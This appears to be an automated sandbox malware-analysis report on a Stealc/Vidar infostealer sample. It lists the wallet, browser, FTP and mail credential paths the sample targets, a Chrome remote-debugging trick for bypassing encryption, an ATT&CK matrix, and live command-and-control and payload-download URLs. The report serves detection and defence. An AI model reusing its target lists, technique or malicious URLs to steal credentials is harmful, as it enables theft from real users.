Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 1780, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1808225152.000000000119E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1287052462.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1806196149.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1780, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1780, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF50C40 sqlite3_bind_zeroblob,	0_2_6CF50C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF50D60 sqlite3_bind_parameter_name,	0_2_6CF50D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78EA0 sqlite3_clear_bindings,	0_2_6CE78EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF50B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CF50B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE76410 bind,WSAGetLastError,	0_2_6CE76410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE760B0 listen,WSAGetLastError,	0_2_6CE760B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE76070 PR_Listen,	0_2_6CE76070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CE7C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7C030 sqlite3_bind_parameter_count,	0_2_6CE7C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE022D0 sqlite3_bind_blob,	0_2_6CE022D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE763C0 PR_Bind,	0_2_6CE763C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	861 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://31.41.244.11/files/unique2/random.exe(	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllSld	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exe83	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dlly	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllI_	100%	Avira URL Cloud	malware
http://185.215.113.206/YvA	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exe60ac02b4ded8abeee1fbd	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe?	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exe7d1aa	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpsystem32;C:	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exe	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpK2	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exe60	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.66	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
httpbin.org	18.213.123.165	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794609111&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794608159&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b2?rn=1732794601278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E27FF0838006C7C38C4EA4D39726D3F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://sb.scorecardresearch.com/b?rn=1732794601278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E27FF0838006C7C38C4EA4D39726D3F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794601275&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	false		high
http://31.41.244.11/files/unique2/random.exe(	skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.broofa.com	chromecache_455.11.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://ntp.msn.com/_default	QuotaManager.15.dr	false		high
https://www.last.fm/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.15.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://docs.google.com/	manifest.json0.15.dr	false		high
https://www.youtube.com	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://curl.se/docs/hsts.html	222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://www.instagram.com	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.15.dr	false		high
http://31.41.244.11/files/unique1/random.exe?	skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://www.messenger.com	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllSld	file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/mail/compose?isExtension=true	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://i.y.qq.com/n2/m/index.html	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	false		high
https://www.deezer.com/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://web.telegram.org/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
http://185.215.113.206/YvA	file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1854729626.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
http://31.41.244.11/files/unique2/random.exe7d1aa	skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.15.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.15.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dlly	file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vibe.naver.com/today	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	false		high
http://31.41.244.11/files/unique2/random.exe83	skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com	30576438-8f18-48c0-9a1e-e4556e912b75.tmp.16.dr	false		high
https://curl.se/docs/alt-svc.html	222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.15.dr	false		high
https://excel.new?from=EdgeM365Shoreline	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CFCBKKKJJJKKEBGDAFIDAAAEHD.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.15.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllI_	file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_455.11.dr	false		high
https://httpbin.org/ipbefore	222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://www.google.com/chrome	content.js.15.dr	false		high
https://www.tiktok.com/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpH	file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpK	file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.15.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1848440773.00000000236E2000.00000004.00000020.00020000.00000000.sdmp, JEBKECAFIDAFIECBKEHD.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.15.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpO	file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://msn.comXIDv10	Cookies.16.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://chrome.google.com/webstore/	manifest.json.15.dr	false		high
https://y.music.163.com/m/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
http://31.41.244.11/files/unique2/random.exe60ac02b4ded8abeee1fbd	skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bard.google.com/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
